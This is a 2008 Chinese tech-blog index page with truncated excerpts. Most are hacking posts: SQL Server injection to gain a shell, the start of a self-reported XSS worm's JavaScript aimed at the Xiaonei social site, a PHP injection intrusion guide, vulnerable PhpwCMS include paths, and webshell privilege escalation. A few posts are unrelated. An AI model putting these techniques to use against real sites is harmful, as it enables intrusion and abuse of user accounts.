- alggm - 51CTO技术博客-领先的IT技术博客

文章

SQL Server注入大全及防御

2008-04-11 21:04:54

【IT168专稿】SQL Server是中小型网站广泛使用的数据库，由于功能强大也滋生了很多安全问题，国内又因为SQL注入攻击的很长一段时间流行，导致对SQL Server的入侵技巧也层出不穷，由于SQL Server支持多语句，相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法，而直接转向使用SQL Server的存储过程和函数快速的拿权限，下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。
一、执行系统命令
利用存储过程我们可以快速方便的获取一个shell,如执行系统命令，�..

类别：未分类 | 阅读全文(39) | 回复(0)

三层交换机配置实例及说明

2008-03-19 22:37:03

三层交换机配置实例及说明

     这个不像路由器那个，那个是show run出来的，这个就是自己直接写的了。是我在毕业设计中，使用在汇聚层的三层交换机的配置。

Enable     //进入私有模式
Configure terminal     //进入全局模式
service password-encryption    //对密码进行加密
hostname Catalyst 3550-12T1     //给三层交换机定义名称
enable password 123456.        //enable..

类别：未分类 | 阅读全文(82) | 回复(0)

构造HTTP消息头以实现WEB2.0蠕虫

2008-03-16 22:52:07

前天发现校内网的UBB XSS，code了两天，这只危害性极大的蠕虫编写完毕，测试成功。蠕虫部分代码如下：
function _1() {
src="http://blog.xiaonei.com/NewEntry.do";
var title="\u0033\u002e\u0037\u7ef4\u5ea6 :-(";
//title与_body都将汉字进行16进制双字节编码了，这是解决汉字乱码的一个非常实用的技巧，记住了:-)
var _body="\u79bb\u6563\u503c\uff0c\u53ef\u60dc\u4f60\u770b\u5230\u7684\u662f\u4e71\u7801\u3002";
var blog_pic_id="";
var pic_path="";
var blogControl="99";
/////////////HTTP消息头构造开始/..

类别：未分类 | 阅读全文(41) | 回复(0)

PHP注入入侵实例

2008-03-16 22:49:43

今天我要给大家讲解的是一个非常NB的入侵过程，我自己觉得非常的精彩，里面包含了非常多的知识点，这对与完全不懂php的朋友一样能够读懂，并且按照里面的技术自己来进行入侵类似的网站，并且能够得到非常好的效果。

现在SQL注入漏洞满地揭是，并且开发出很多优秀的工具例如NBSI，和CASI等等。这对于我们这样的菜鸟来说非常好了，因为完全避免了我们自己手动来一点点的猜测了，大大的提高了入侵率。。好了废话不多说直接进入我们的文章，来一次梦幻之旅，相信你再这里一定能够找到属于你自己的东西。

一．基础知识

..

类别：未分类 | 阅读全文(37) | 回复(0)

黑客如何利用文件漏洞进行网站入侵

2008-03-16 22:48:48

一、看见漏洞公告
　　最近想学习一下文件包含漏洞，在无意中看见了关于文件包含的漏洞公告。大致的意思是这样的，PhpwCMS 1.2.6系统的下列文件存在文件包含漏洞：include/inc_ext/spaw/dialogs/table.php
　　include/inc_ext/spaw/dialogs/a.php
　　include/inc_ext/spaw/dialogs/colorpicker.php
　　include/inc_ext/spaw/dialogs/confirm.php
　　include/inc_ext/spaw/dialogs/img.php
　　include/inc_ext/spaw/dialogs/img_library.php
　　include/inc_ext/spaw/dialogs/td.php
　　文件中的$spaw_root的没有过滤的�..

类别：未分类 | 阅读全文(35) | 回复(0)

不让别人在你电脑上登陆QQ方法

2008-03-16 21:17:39

即时通讯软件QQ拥有越来越多的用户，而QQ号也成为人们继手机号之后又一主要联系方式。但如果你不想让你同事、同学、亲戚和朋友利用你机器中的QQ神聊瞎侃和传输不良信息，不妨试试如下方法：
　　一、利用组策略法：
　　1、单击“开始”→运行，在打开的“运行”对话框中输入gpedit.msc后回车或点“确定”，打开“组策略”对话框。
　　2、在“组策略”对话框的左侧窗格中依次双击“计算机配置”→Windows设置→安全设置→软件限制策略，这时如果右侧窗格中显示“没有定义软件限制策略”的提示，则单击菜单栏“操作”→创建新的策略..

类别：未分类 | 阅读全文(48) | 回复(1)

经典的webshell提权

2008-03-16 11:13:03

说到花了九牛二虎的力气获得了一个webshell，
当然还想继续获得整个服务器的admin权限，正如不想得到admin的不是好黑客～
嘻嘻～～好跟我来，看看有什么可以利用的来提升权限
****************************************************************************
第一
如果服务器上有装了pcanywhere服务端，管理员为了管理方便
也给了我们方便，到系统盘的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地
破解就使用pcanywhere连接就ok了
********************************************..

类别：未分类 | 阅读全文(35) | 回复(0)

网络游戏外挂制作

2008-03-16 11:09:50

在几年前我看到别人玩网络游戏用上了外挂，做为程序员的我心里实在是不爽，想搞清楚这到底是怎么回事。就拿了一些来研究，小有心得，拿出来与大家共享，外挂无非就是分几种罢了（依制作难度）：
1、动作式，所谓动作式，就是指用API发命令给窗口或API控制鼠标、键盘等，使游戏里的人物进行流动或者攻击，最早以前的“石器”外挂就是这种方式。
2、本地修改式，这种外挂跟传统上的一些游戏修改器没有两样，做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现，“精灵”的外挂这是这种方式写成的，它的难点在于找到..

类别：未分类 | 阅读全文(29) | 回复(0)

Linux和Win双系统实践

2008-03-16 10:55:46

作者: jdk_cn 发布日期: 2008-2-14 查看数:

137 出自: http://www.phpx.com

Linux和Win双系统，重新安装Windows而不影响双引导的最简便的办法

Windows安装后以后，先用Ghost打个包，然后再安装Linux以及GRUB。当windows需要重装时，直接用Ghost恢复就行了，前后只要3分钟，不影响GRUB双引导。

　　事实不能只看表象，我再来分析一下原理。

　　首先，安装好Windows和Linux，双引导启动正常。

　　这时，我将Windows所在的C盘格式化掉 format c:/q/u 重启，�..

类别：未分类 | 阅读全文(64) | 回复(0)

影片经典语句

2008-03-08 22:57:25

有些人一辈子都在骗人，而有些人用一辈子去骗一个人。—《开往春天的地铁》

当一个女人结了婚，有了自己的孩子就……意味着，生活的起点，也意味着……终点。— 《廊桥遗梦》

伏特加是我们拥有的一种奢侈品，鱼子酱也是我们拥有的一种奢侈品，但时间不是。—《兵临城下》

我和你在一起，是因为我选择和你在一起。我不想按别人的方式去生活。 — 《走出非洲》

没有法律。没有限制。只有一条规则：永远也别坠入爱河。 —《红磨坊》

我不想家庭是从说谎开始的，这令人厌恶。—《莫斯科不相信眼泪》

如果有一天我忍不住问你，�..

类别：未分类 | 阅读全文(54) | 回复(0)